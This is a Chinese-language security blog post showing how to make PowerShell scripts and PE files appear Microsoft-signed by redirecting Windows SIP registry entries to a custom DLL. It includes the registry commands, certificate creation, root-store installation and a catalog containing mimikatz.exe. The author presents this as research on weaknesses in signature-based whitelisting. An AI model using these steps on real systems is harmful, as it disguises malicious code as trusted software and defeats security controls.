當前位置:
首頁 > 新聞 > Authenticode簽名偽造——針對文件類型的簽名偽造

Authenticode簽名偽造——針對文件類型的簽名偽造

0x00 前言

在上篇文章《Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持》介紹了針對單一文件的Authenticode簽名偽造,需要在文件尾部添加偽造的簽名數據,這次將介紹另一種簽名偽造方式:通過修改系統的簽名獲取機制,欺騙系統將正常文件識別為包含簽名數據。

註:

本文介紹的技巧參考自Matt Graeber@mattifestation公開的資料,本文將結合自己的經驗,整理相關內容,添加個人理解。

參考資料:

https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html

https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view

0x01 簡介

本文將要介紹以下內容:

· 針對powershell腳本的簽名偽造方法

· 針對PE文件的簽名偽造方法

· 針對其他類型文件的簽名偽造方法

· 添加代碼實現對特定文件的簽名偽造

0x02 針對powershell腳本的簽名偽造方法

前提是powershell腳本需要包含一個簽名(自己生成的簽名會被識別為無效),下面介紹如何將該無效簽名偽造成有效的微軟簽名

生成測試證書:

makecert -n "CN=Microsoft Windows Test1" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

不需要註冊該證書

註:

使用makecert.exe要加參數: -eku 1.3.6.1.5.5.7.3.3

否則提示證書無法用於代碼簽名,具體錯誤如下:

Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not

suitable for code signing.

如下圖

給powershell腳本簽名:

$cert = Get-PfxCertificate certtest.pfxSet-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert

驗證證書:

Get-AuthenticodeSignature .1.ps1

提示UnknownError,表示文件簽名無效

如下圖

修改註冊表,命令如下:

REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

再次驗證:

Get-AuthenticodeSignature .1.ps1

顯示Valid,簽名有效

如下圖

註:

不同系統下相同名稱的文件簽名不同

AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033為Matt Graeber測試系統中的notepad.exe簽名hash

現在在我們自己的系統進行測試:Win10 x64

分別獲取notepad.exe的簽名信息:

Get-AuthenticodeSignature c:windowssystem32notepad.exe

sigcheck -i C:WindowsSystem32notepad.exe

可以發現sigcheck的輸出內容中,Thumbprint對應文件簽名hash,如下圖

接下來,將測試系統改為Win7 x86

在Win7下使用Get-AuthenticodeSignature無法獲得notepad.exe的簽名信息(catalog簽名)

如下圖

但可以通過sigcheck獲得,如下圖

hash為:018B222E21FBB2952304D04D1D87F736ED46DEA4

定位cat文件路徑:C:Windowssystem32CatRootntexe.cat

.cat文件保存格式為ASN.1標準,直接通過記事本無法查看,需要解密,在線網址如下:

https://lapo.it/asn1js/

選擇cat文件後即可解密顯示完整格式

格式解析可參考:

https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography

將該文件替換PoCSubjectInterfacePackage工程中的MS_cert.bin,重新編譯

配置註冊表

打開一個新的cmd,查看powershell腳本簽名:

Get-AuthenticodeSignature .1.ps1

同sighcheck獲取的hash值保持一致,如下圖

powershell腳本的Authenticode簽名偽造成功

對以上操作直觀的理解:

該方法是通過修改系統證書驗證過程,使文件將指定的catalog簽名作為自己的Authenticode簽名

當然,所有帶簽名的powershell腳本均會統一成hash為018B222E21FBB2952304D04D1D87F736ED46DEA4的簽名,這就帶來了一個問題:這樣會影響正常系統文件的簽名校驗

我們可以看到,通過這種方式偽造的簽名會作用於所有powershell腳本,那麼,我們能否針對特定powershell腳本作偽造呢?

以Matt Graeber開源的工程PoCSubjectInterfacePackage作為模板進行修改,下載地址如下:

https://github.com/mattifestation/PoCSubjectInterfacePackage

重點關注函數GetLegitMSSignature,在線地址:

https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138

查看結構SIP_SUBJECTINFO *pSubjectInfo的參數說明,地址如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx

pwsFileName和pwsDisplayName均能夠表示文件名稱,所以可通過MessageBox進行驗證

函數GetLegitMSSignature內添加如下代碼:

MessageBox (NULL, pSubjectInfo->pwsFileName, pSubjectInfo->pwsDisplayName,0);

進行測試,成功獲得傳入文件名,如下圖

接下來的思路:

對傳入的文件名稱進行判斷,滿足條件的文件載入對應的catalog簽名,最終實現對特定文件的簽名偽造

篩選文件的代碼如下:

if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:testcer1.ps1")==0)

完整代碼可參考:

https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c

當前文件為C:testcer1.ps1時,符合條件,進行簽名偽造,否則放棄

測試如下圖

成功實現對特定文件的簽名偽造,這種方式的優點是不需要在文件尾部添加Authenticode簽名,不改變文件hash

當然,這僅僅是一個POC,還要對系統文件的簽名驗證做判斷

0x03 針對PE文件的簽名偽造方法

參考這個列表:

· C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE

· DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件

· 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件

· C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件

如果替換exe文件的校驗,即CryptSIPDllVerifyIndirectData和CryptSIPDllGetSignedDataMsg,命令如下:

REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

重啟explorer.exe,所有的exe文件都包含hash為:018B222E21FBB2952304D04D1D87F736ED46DEA4的簽名

特別的地方:偽造的簽名來自於cat文件,但是會以Authenticode簽名的格式顯示,通過文件屬性能夠看到簽名信息(這是Authenticode簽名的特性,catalog簽名不具有該特性)

同樣,修改原工程能夠實現針對特定PE文件的簽名偽造,方法不再贅述

0x04 針對cat文件的簽名偽造方法

如果對所有.cat文件的簽名驗證過程進行替換,再將其添加到安全編錄資料庫中,那麼,包含catalog簽名的PE文件是否也隨即獲得偽造簽名呢?

下面開始測試:

新建文本文檔cat.txt,內容如下:

[CatalogHeader]Name=makecat1.cat[CatalogFiles]ExeFile1=mimikatz.exe

註:

txt文件尾部需要一個空行,否則,在接下來的操作會報錯,提示文件無法找到

使用makecat.exe生成makecat1.cat:

makecat -v cat.txt

為makecat1.cat添加偽造的Authenticode簽名:

signtool sign /f certtest.pfx /p 123456 makecat1.cat

註:

certtest.pfx不能使用之前手動生成的證書,不能加參數: -eku 1.3.6.1.5.5.7.3.3,否則exe文件的catalog簽名將會校驗失敗

生成certtest.pfx的操作如下:

makecert -n "CN=Microsoft Windows Test1" -r -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

此處還需要將證書安裝到「受信任的根證書頒發機構」存儲區

管理員許可權:

certmgr.exe -add -c certtest.cer -s -r localmachine root

否則,之後的簽名驗證會報錯,提示證書鏈不可信

補充:

從「受信任的根證書頒發機構」存儲區刪除證書的操作為:

(管理員許可權)

certmgr.exe -del -c -n "Windows Test1" -s -r localMachine Root

替換註冊表鍵值:

REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

將makecat1.cat添加到系統的安全編錄資料庫:

(管理員許可權)

signtool catdb -v makecat1.cat

最終,發現文件的catalog簽名保持不變,無法進行偽造

得出結論:這種方式無法對catalog簽名進行偽造

0x05 小結

本文介紹了Authenticode簽名偽造的另一種利用方法:通過修改系統的簽名獲取機制,欺騙系統將正常文件識別為包含簽名數據。

經過這兩篇文章的測試,得出最終結論:應謹慎對待系統的Authenticode簽名,因為通過修改註冊表或dll劫持等方式均能夠偽造出微軟簽名,對此,白名單等防禦機制不應盲目相信Authenticode簽名過的文件。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

U2F設備安全測試
Equifax又出事了,網站用戶會被重定向到虛假的Flash更新網站
ChromeOS基於eCryptfs的用戶數據安全保護機制
Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持
「中國菜刀」出海:有人用它從澳大利亞軍方偷了30GB絕密數據

TAG:嘶吼RoarTalk |